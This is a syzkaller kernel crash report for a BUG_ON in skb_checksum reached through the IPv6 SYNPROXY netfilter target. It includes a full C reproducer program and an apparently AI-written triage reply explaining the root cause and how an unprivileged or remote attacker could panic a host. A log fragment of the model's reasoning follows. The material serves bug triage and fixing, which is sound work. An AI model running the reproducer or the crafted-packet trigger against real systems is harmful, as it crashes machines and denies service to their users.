kernel BUG at net/core/skbuff.c:3606!
Oops: invalid opcode: 0000 [#1] SMP KASAN PTI
CPU: 0 UID: 0 PID: 5631 Comm: syz-executor206 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:skb_checksum+0x8b2/0x8c0 net/core/skbuff.c:3606
Code: c4 3d 8c f8 e9 43 f9 ff ff 44 89 f9 80 e1 07 38 c1 0f 8c 59 f9 ff ff 4c 89 ff e8 49 3d 8c f8 e9 4c f9 ff ff e8 ef 35 1c f8 90 <0f> 0b 66 66 66 2e 0f 1f 84 00 00 00 00 00 90 90 90 90 90 90 90 90
RSP: 0018:ffffc90003a3f000 EFLAGS: 00010293
RAX: ffffffff89ab9c91 RBX: 000000000000053c RCX: ffff88807f8abe80
RDX: 0000000000000000 RSI: 000000000000053c RDI: 0000000000000000
RBP: dffffc0000000000 R08: ffff88807f8abe80 R09: 0000000000000002
R10: 0000000000000002 R11: 0000000000000000 R12: 0000000000000000
R13: 000000000000003c R14: 000000000000003c R15: 0000000000000578
FS: 0000555590f26400(0000) GS:ffff888124cca000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000556b4bcc5000 CR3: 000000006f904000 CR4: 00000000003526f0
Call Trace:
<TASK>
nf_ip6_checksum+0x1bd/0x320 net/netfilter/utils.c:89
synproxy_tg6+0x1a4/0x6e0 net/ipv6/netfilter/ip6t_SYNPROXY.c:21
ip6t_do_table+0xd37/0x15b0 net/ipv6/netfilter/ip6_tables.c:366
nf_hook_entry_hookfn include/linux/netfilter.h:165 [inline]
nf_hook_slow+0xc5/0x220 net/netfilter/core.c:619
nf_hook include/linux/netfilter.h:280 [inline]
NF_HOOK+0x21f/0x3c0 include/linux/netfilter.h:323
ip6_input+0x16a/0x270 net/ipv6/ip6_input.c:545
NF_HOOK+0x336/0x3c0 include/linux/netfilter.h:325
__netif_receive_skb_one_core net/core/dev.c:6264 [inline]
__netif_receive_skb net/core/dev.c:6377 [inline]
netif_receive_skb_internal net/core/dev.c:6463 [inline]
netif_receive_skb+0x278/0xbf0 net/core/dev.c:6522
tun_rx_batched+0x1de/0x790 drivers/net/tun.c:1571
tun_get_user+0x2be0/0x44d0 drivers/net/tun.c:2045
tun_chr_write_iter+0x113/0x200 drivers/net/tun.c:2091
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x612/0xba0 fs/read_write.c:687
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f993fdff367
Code: 48 89 fa 4c 89 df e8 78 1e 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007ffcd131e8b0 EFLAGS: 00000202 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000555590f26400 RCX: 00007f993fdff367
RDX: 000000000000004a RSI: 0000200000000500 RDI: 00000000000000c8
RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000
R13: 0000000000000000 R14: 00007f993fe6ebe0 R15: 0000000000000002
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:skb_checksum+0x8b2/0x8c0 net/core/skbuff.c:3606
Code: c4 3d 8c f8 e9 43 f9 ff ff 44 89 f9 80 e1 07 38 c1 0f 8c 59 f9 ff ff 4c 89 ff e8 49 3d 8c f8 e9 4c f9 ff ff e8 ef 35 1c f8 90 <0f> 0b 66 66 66 2e 0f 1f 84 00 00 00 00 00 90 90 90 90 90 90 90 90
RSP: 0018:ffffc90003a3f000 EFLAGS: 00010293
RAX: ffffffff89ab9c91 RBX: 000000000000053c RCX: ffff88807f8abe80
RDX: 0000000000000000 RSI: 000000000000053c RDI: 0000000000000000
RBP: dffffc0000000000 R08: ffff88807f8abe80 R09: 0000000000000002
R10: 0000000000000002 R11: 0000000000000000 R12: 0000000000000000
R13: 000000000000003c R14: 000000000000003c R15: 0000000000000578
FS: 0000555590f26400(0000) GS:ffff888124cca000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000556b4bcc5000 CR3: 000000006f904000 CR4: 00000000003526f0
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_link.h>
#include <linux/in6.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[4096];
};
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ,
const void* data, int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
if (size > 0)
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock,
uint16_t reply_type, int* reply_len, bool dofail)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, (struct sockaddr*)&addr, sizeof(addr));
if (n != (ssize_t)hdr->nlmsg_len) {
if (dofail)
exit(1);
return -1;
}
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (reply_len)
*reply_len = 0;
if (n < 0) {
if (dofail)
exit(1);
return -1;
}
if (n < (ssize_t)sizeof(struct nlmsghdr)) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
if (hdr->nlmsg_type == NLMSG_DONE)
return 0;
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
if (hdr->nlmsg_type != NLMSG_ERROR) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
errno = -((struct nlmsgerr*)(hdr + 1))->error;
return -errno;
}
static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, const char* family_name, bool dofail)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, strnlen(family_name, GENL_NAMSIZ - 1) + 1);
int n = 0;
int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail);
if (err < 0) {
return -1;
}
uint16_t id = 0;
struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
errno = EINVAL;
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
return id;
}
static long syz_genetlink_get_family_id(volatile long name, volatile long sock_arg)
{
int fd = sock_arg;
if (fd < 0) {
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd == -1) {
return -1;
}
}
struct nlmsg nlmsg_tmp;
int ret = netlink_query_family_id(&nlmsg_tmp, fd, (char*)name, false);
if ((int)sock_arg < 0)
close(fd);
if (ret < 0) {
return -1;
}
return ret;
}
uint64_t r[1] = {0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// socket$inet6 arguments: [
// domain: const = 0xa (8 bytes)
// type: socket_type = 0x3 (8 bytes)
// proto: int32 = 0xff (4 bytes)
// ]
// returns sock_in6
res = syscall(__NR_socket, /*domain=*/0xaul, /*type=SOCK_RAW*/3ul, /*proto=*/0xff);
if (res != -1)
r[0] = res;
// sendmsg$sock arguments: [
// fd: sock (resource)
// msg: ptr[in, msghdr_sock] {
// msghdr_sock {
// msg_name: nil
// msg_namelen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// msg_iov: ptr[in, array[iovec[in, array[int8]]]] {
// array[iovec[in, array[int8]]] {
// iovec[in, array[int8]] {
// addr: ptr[in, buffer] {
// buffer: {07 5c bd bb 13 ae 06 a7 87 a8 c6 2c 22 73 e1 1a 73 34 15 5d 52 84 1d 6d 00 7c 6b 3e 9b 85 68 2e 9d e6 96 c5 5a 9c ba 78 02 f3 33 dd 2f 69 85 21 03 b7 4f 85 02 1f 61 81 16 b3 97 10 ad e6 0d 85 92 8f 19 7f 2f 6e 8a 41 a1 3a c0 19 d4 e0 e0 66 b2 1a 05 11 bf f0 b3 67 a1 6e 0b a6 5d 09 3d ba 56 92 2f 5e b6 ef 6e 13 bb 4c 75 81 cd 86 d8 5a da f1 13 aa 7b c3 89 c1 2a f8 22 a6 17 64 4e d7 c1 db 21 22 85 40 76 58 2c c7 83 1c fe 1a ca 9a c7 63 4d 33 a5 5f d9 a2 d8 5b 4e 25 b9 cb 26 20 dc e9 ea 4c 25 d5 68 4e 27 08 54 d9 61 25 4e e9 6f 84 72 1b 23 d7 1a 25 44 92 1a 48 3c 9f 6a d9 63 50 54 00 45 fb c3 37 9f 14 15 38 94 ac 46 8f 68 b2 09 ee fb c2 10 28 16 48 db d7 70 17 63 db ec ed 43 b4 9d ad a4 1b b4 b1 df 13 86 f2 20 99 ee 15 52 34 ed cc 6c f8 2e 46} (length 0xfa)
// }
// len: len = 0xfa (8 bytes)
// }
// iovec[in, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[in, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// }
// }
// msg_iovlen: len = 0x3 (8 bytes)
// msg_control: nil
// msg_controllen: bytesize = 0x0 (8 bytes)
// msg_flags: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// f: send_flags = 0x0 (8 bytes)
// ]
*(uint64_t*)0x200000002d00 = 0;
*(uint32_t*)0x200000002d08 = 0;
*(uint64_t*)0x200000002d10 = 0x200000002cc0;
*(uint64_t*)0x200000002cc0 = 0x200000000540;
memcpy((void*)0x200000000540, "... [truncated large byte array] ...", 250);
*(uint64_t*)0x200000002cc8 = 0xfa;
*(uint64_t*)0x200000002cd0 = 0;
*(uint64_t*)0x200000002cd8 = 0;
*(uint64_t*)0x200000002ce0 = 0;
*(uint64_t*)0x200000002ce8 = 0;
*(uint64_t*)0x200000002d18 = 3;
*(uint64_t*)0x200000002d20 = 0;
*(uint64_t*)0x200000002d28 = 0;
*(uint32_t*)0x200000002d30 = 0;
syscall(__NR_sendmsg, /*fd=*/(intptr_t)-1, /*msg=*/0x200000002d00ul, /*f=*/0ul);
// syz_genetlink_get_family_id$ethtool arguments: [
// name: ptr[in, buffer] {
// buffer: {65 74 68 74 6f 6f 6c 00} (length 0x8)
// }
// fd: sock_nl_generic (resource)
// ]
// returns genl_ethtool_family_id
memcpy((void*)0x200000000040, "ethtool\000", 8);
syz_genetlink_get_family_id(/*name=*/0x200000000040, /*fd=*/-1);
// setsockopt$IP6T_SO_SET_REPLACE arguments: [
// fd: sock_in6 (resource)
// level: const = 0x29 (4 bytes)
// opt: const = 0x40 (4 bytes)
// val: ptr[in, ip6t_replace] {
// union ip6t_replace {
// filter: ip6t_replace_t["filter", 3, 4, IPT_FILTER_VALID_HOOKS, ip6t_filter_matches, ip6t_filter_targets, ipt_unused, ipt_hook, ipt_hook, ipt_hook, ipt_unused, ipt_unused, ipt_hook, ipt_hook, ipt_hook, ipt_unused] {
// name: buffer: {66 69 6c 74 65 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x20)
// valid_hooks: const = 0xe (4 bytes)
// num_entries: const = 0x4 (4 bytes)
// size: bytesize = 0x340 (4 bytes)
// hook_pre_routing: const = 0xffffffff (4 bytes)
// hook_local_in: const = 0x0 (4 bytes)
// hook_forward: const = 0x1a0 (4 bytes)
// hook_local_out: const = 0x270 (4 bytes)
// hook_post_routing: const = 0xffffffff (4 bytes)
// underflow_pre_routing: const = 0xffffffff (4 bytes)
// underflow_local_in: const = 0xd0 (4 bytes)
// underflow_forward: const = 0x1a0 (4 bytes)
// underflow_local_out: const = 0x270 (4 bytes)
// underflow_post_routing: const = 0xffffffff (4 bytes)
// num_counters: const = 0x4 (4 bytes)
// counters: nil
// entries: ip6t_replace_entries[3, ip6t_filter_matches, ip6t_filter_targets] {
// entries: array[ip6t_entry[ip6t_filter_matches, ip6t_filter_targets]] {
// ip6t_entry[ip6t_filter_matches, ip6t_filter_targets] {
// matches: ip6t_entry_matches[ip6t_filter_matches] {
// ipv6: union ip6t_ip6_or_uncond {
// ipv6: ip6t_ip6 {
// src: union ipv6_addr {
// empty: ipv6_addr_empty {
// a0: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// }
// }
// dst: union ipv6_addr {
// empty: ipv6_addr_empty {
// a0: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// }
// }
// smsk: array[ipv4_addr_mask_vals] {
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// }
// dmsk: array[ipv4_addr_mask_vals] {
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// }
// iniface: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// outiface: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// iniface_mask: devname_mask {
// lo: devname_mask_values = 0x0 (1 bytes)
// pad = 0x0 (15 bytes)
// }
// outiface_mask: devname_mask {
// lo: devname_mask_values = 0x0 (1 bytes)
// pad = 0x0 (15 bytes)
// }
// proto: ipv6_types = 0x6 (2 bytes)
// tos: int8 = 0x0 (1 bytes)
// flags: ip6t_ip6_flags = 0x1 (1 bytes)
// invflags: ip6t_ip6_invflags = 0x0 (1 bytes)
// pad = 0x0 (3 bytes)
// }
// }
// nfcache: const = 0x0 (4 bytes)
// target_offset: len = 0xa8 (2 bytes)
// next_offset: len = 0xd0 (2 bytes)
// comefrom: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// counters: xt_counters {
// pcnt: const = 0x0 (8 bytes)
// bcnt: const = 0x0 (8 bytes)
// }
// matches: array[ip6t_filter_matches] {
// }
// }
// target: union ip6t_filter_targets {
// common: union ip6t_targets {
// inet: union xt_inet_targets {
// SYNPROXY: xt_target_t["SYNPROXY", xt_synproxy_info, 0] {
// target_size: len = 0x28 (2 bytes)
// name: buffer: {53 59 4e 50 52 4f 58 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x1d)
// revision: const = 0x0 (1 bytes)
// data: xt_synproxy_info {
// options: xt_synproxy_options = 0x1 (1 bytes)
// wscale: int8 = 0x7 (1 bytes)
// mss: int16 = 0x5a0 (2 bytes)
// }
// pad = 0x0 (4 bytes)
// }
// }
// }
// }
// }
// ip6t_entry[ip6t_filter_matches, ip6t_filter_targets] {
// matches: ip6t_entry_matches[ip6t_filter_matches] {
// ipv6: union ip6t_ip6_or_uncond {
// uncond: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x88)
// }
// nfcache: const = 0x0 (4 bytes)
// target_offset: len = 0xa8 (2 bytes)
// next_offset: len = 0xd0 (2 bytes)
// comefrom: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// counters: xt_counters {
// pcnt: const = 0x0 (8 bytes)
// bcnt: const = 0x0 (8 bytes)
// }
// matches: array[ip6t_filter_matches] {
// }
// }
// target: union ip6t_filter_targets {
// common: union ip6t_targets {
// unspec: union xt_unspec_targets {
// STANDARD: xt_target_t["", flags[nf_verdicts, int32], 0] {
// target_size: len = 0x28 (2 bytes)
// name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x1d)
// revision: const = 0x0 (1 bytes)
// data: nf_verdicts = 0xfffffffe (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// }
// }
// }
// ip6t_entry[ip6t_filter_matches, ip6t_filter_targets] {
// matches: ip6t_entry_matches[ip6t_filter_matches] {
// ipv6: union ip6t_ip6_or_uncond {
// uncond: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x88)
// }
// nfcache: const = 0x0 (4 bytes)
// target_offset: len = 0xa8 (2 bytes)
// next_offset: len = 0xd0 (2 bytes)
// comefrom: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// counters: xt_counters {
// pcnt: const = 0x0 (8 bytes)
// bcnt: const = 0x0 (8 bytes)
// }
// matches: array[ip6t_filter_matches] {
// }
// }
// target: union ip6t_filter_targets {
// common: union ip6t_targets {
// unspec: union xt_unspec_targets {
// STANDARD: xt_target_t["", flags[nf_verdicts, int32], 0] {
// target_size: len = 0x28 (2 bytes)
// name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x1d)
// revision: const = 0x0 (1 bytes)
// data: nf_verdicts = 0xfffffffe (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// }
// }
// }
// }
// underflow: ip6t_entry_underflow {
// matches: ip6t_entry_underflow_matches {
// ipv6: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x88)
// nfcache: const = 0x0 (4 bytes)
// target_offset: len = 0xa8 (2 bytes)
// next_offset: len = 0xd0 (2 bytes)
// comefrom: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// counters: xt_counters {
// pcnt: const = 0x0 (8 bytes)
// bcnt: const = 0x0 (8 bytes)
// }
// }
// target: xt_target_t["", const[NF_ACCEPT_VERDICT, int32], 0] {
// target_size: len = 0x28 (2 bytes)
// name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x1d)
// revision: const = 0x0 (1 bytes)
// data: const = 0xfffffffe (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// }
// }
// }
// }
// len: len = 0x3a0 (8 bytes)
// ]
memcpy((void*)0x200000000100, "filter\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000", 32);
*(uint32_t*)0x200000000120 = 0xe;
*(uint32_t*)0x200000000124 = 4;
*(uint32_t*)0x200000000128 = 0x340;
*(uint32_t*)0x20000000012c = -1;
*(uint32_t*)0x200000000130 = 0;
*(uint32_t*)0x200000000134 = 0x1a0;
*(uint32_t*)0x200000000138 = 0x270;
*(uint32_t*)0x20000000013c = -1;
*(uint32_t*)0x200000000140 = -1;
*(uint32_t*)0x200000000144 = 0xd0;
*(uint32_t*)0x200000000148 = 0x1a0;
*(uint32_t*)0x20000000014c = 0x270;
*(uint32_t*)0x200000000150 = -1;
*(uint32_t*)0x200000000154 = 4;
*(uint64_t*)0x200000000158 = 0;
memset((void*)0x200000000160, 0, 16);
memset((void*)0x200000000170, 0, 16);
*(uint32_t*)0x200000000180 = htobe32(0);
*(uint32_t*)0x200000000184 = htobe32(0);
*(uint32_t*)0x200000000188 = htobe32(0);
*(uint32_t*)0x20000000018c = htobe32(0);
*(uint32_t*)0x200000000190 = htobe32(0);
*(uint32_t*)0x200000000194 = htobe32(0);
*(uint32_t*)0x200000000198 = htobe32(0);
*(uint32_t*)0x20000000019c = htobe32(0);
memset((void*)0x2000000001a0, 0, 16);
memset((void*)0x2000000001b0, 0, 16);
*(uint8_t*)0x2000000001c0 = 0;
*(uint8_t*)0x2000000001d0 = 0;
*(uint16_t*)0x2000000001e0 = 6;
*(uint8_t*)0x2000000001e2 = 0;
*(uint8_t*)0x2000000001e3 = 1;
*(uint8_t*)0x2000000001e4 = 0;
*(uint32_t*)0x2000000001e8 = 0;
*(uint16_t*)0x2000000001ec = 0xa8;
*(uint16_t*)0x2000000001ee = 0xd0;
*(uint32_t*)0x2000000001f0 = 0;
*(uint64_t*)0x2000000001f8 = 0;
*(uint64_t*)0x200000000200 = 0;
*(uint16_t*)0x200000000208 = 0x28;
memcpy((void*)0x20000000020a, "SYNPROXY\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000", 29);
*(uint8_t*)0x200000000227 = 0;
*(uint8_t*)0x200000000228 = 1;
*(uint8_t*)0x200000000229 = 7;
*(uint16_t*)0x20000000022a = 0x5a0;
memset((void*)0x200000000230, 0, 136);
*(uint32_t*)0x2000000002b8 = 0;
*(uint16_t*)0x2000000002bc = 0xa8;
*(uint16_t*)0x2000000002be = 0xd0;
*(uint32_t*)0x2000000002c0 = 0;
*(uint64_t*)0x2000000002c8 = 0;
*(uint64_t*)0x2000000002d0 = 0;
*(uint16_t*)0x2000000002d8 = 0x28;
memset((void*)0x2000000002da, 0, 29);
*(uint8_t*)0x2000000002f7 = 0;
*(uint32_t*)0x2000000002f8 = 0xfffffffe;
memset((void*)0x200000000300, 0, 136);
*(uint32_t*)0x200000000388 = 0;
*(uint16_t*)0x20000000038c = 0xa8;
*(uint16_t*)0x20000000038e = 0xd0;
*(uint32_t*)0x200000000390 = 0;
*(uint64_t*)0x200000000398 = 0;
*(uint64_t*)0x2000000003a0 = 0;
*(uint16_t*)0x2000000003a8 = 0x28;
memset((void*)0x2000000003aa, 0, 29);
*(uint8_t*)0x2000000003c7 = 0;
*(uint32_t*)0x2000000003c8 = 0xfffffffe;
memset((void*)0x2000000003d0, 0, 136);
*(uint32_t*)0x200000000458 = 0;
*(uint16_t*)0x20000000045c = 0xa8;
*(uint16_t*)0x20000000045e = 0xd0;
*(uint32_t*)0x200000000460 = 0;
*(uint64_t*)0x200000000468 = 0;
*(uint64_t*)0x200000000470 = 0;
*(uint16_t*)0x200000000478 = 0x28;
memset((void*)0x20000000047a, 0, 29);
*(uint8_t*)0x200000000497 = 0;
*(uint32_t*)0x200000000498 = 0xfffffffe;
syscall(__NR_setsockopt, /*fd=*/r[0], /*level=*/0x29, /*opt=*/0x40, /*val=*/0x200000000100ul, /*len=*/0x3a0ul);
return 0;
}
Reply: The bug is a Denial-of-Service (DoS) vulnerability caused by a `BUG_ON` assertion failure in `skb_checksum()`.
### Root Cause Analysis
The issue occurs when the `SYNPROXY` target is used in `ip6tables`. When a packet is evaluated against an `ip6tables` rule, `ip6_packet_match()` uses `ipv6_find_hdr()` to parse IPv6 extension headers and find the transport header offset, which is stored in `par->thoff`.
If an attacker sends a crafted IPv6 packet with a malformed extension header (e.g., claiming a very large header length) such that the packet is truncated, `ipv6_find_hdr()` can return a transport header offset (`start`) that is strictly greater than the total packet length (`skb->len`).
Later, `synproxy_tg6()` is invoked and calls `nf_ip6_checksum(skb, xt_hooknum(par), par->thoff, IPPROTO_TCP)` to verify the TCP checksum. Crucially, `synproxy_tg6()` does this *before* verifying that `par->thoff` is within the packet's bounds (which it later does via `skb_header_pointer()`).
`nf_ip6_checksum()` then calls `skb_checksum()` with `dataoff` set to `par->thoff`. Because `dataoff > skb->len`, `skb_checksum()` processes all available packet fragments but still has remaining bytes to checksum. This triggers the `BUG_ON(len)` at the end of `skb_checksum()`, causing a kernel panic.
### Security Impact
* **Exploitable:** No. The bug deterministically hits a `BUG_ON()` which halts the kernel. It does not lead to memory corruption, use-after-free, or information leaks.
* **Denial of Service:** Yes. Triggering the bug causes a kernel panic, crashing the system.
* **Accessible From User Namespaces:** Yes. An unprivileged user can create a new user and network namespace (`unshare -Urn`), configure an `ip6tables` rule with the `SYNPROXY` target, and send a crafted packet over the loopback interface to crash the host.
* **Accessible From Unprivileged Processes:** No. Without user namespaces, an unprivileged user cannot configure `ip6tables` (requires `CAP_NET_ADMIN`). Furthermore, they cannot easily send the required malformed IPv6 packet locally without raw sockets (`CAP_NET_RAW`).
* **Remote / Network Trigger:** Yes. If a system administrator has configured `ip6tables` with the `SYNPROXY` target for IPv6 traffic, a remote attacker can trigger the kernel panic by sending a crafted IPv6 packet over the network.
|
| 6/2 |
2026/09/23 03:23 |
llm |
expert |
0m
Model:
Tokens:
input: 19478
output: 31
thoughts: 519
Thoughts: **Analyzing a Kernel Bug in skbuff.c**
Okay, so I've got a kernel bug report: `kernel BUG at net/core/skbuff.c:3606!` Right away, my radar goes up. SKBs are fundamental to network packet handling, so a bug here is serious. Let's see... the stack trace looks like this: `nf_ip6_checksum -> synproxy_tg6 -> ip6t_do_table -> ... -> tun_chr_write_iter`. Alright, a SYNPROXY target in ip6tables, checksumming and finally into a tun device. This strongly suggests the issue relates to IPv6 traffic going through a TUN interface, possibly involving netfilter and SYNPROXY.
My initial thought is that we're likely looking at a checksum offload/calculation issue related to the interaction between the SYNPROXY target, IPv6, and the TUN device. The netfilter hook path is pretty clear β SYNPROXY is likely manipulating the packet in some way, and this is causing a corruption during the checksum calculation within the SKB's internals at net/core/skbuff.c:3606. The fact that `tun_rx_batched` and `tun_chr_write_iter` are on the call stack is significant. The TUN driver is where the packet is finally "delivered" and this error is likely related to the driver interacting with the skb's checksum field.
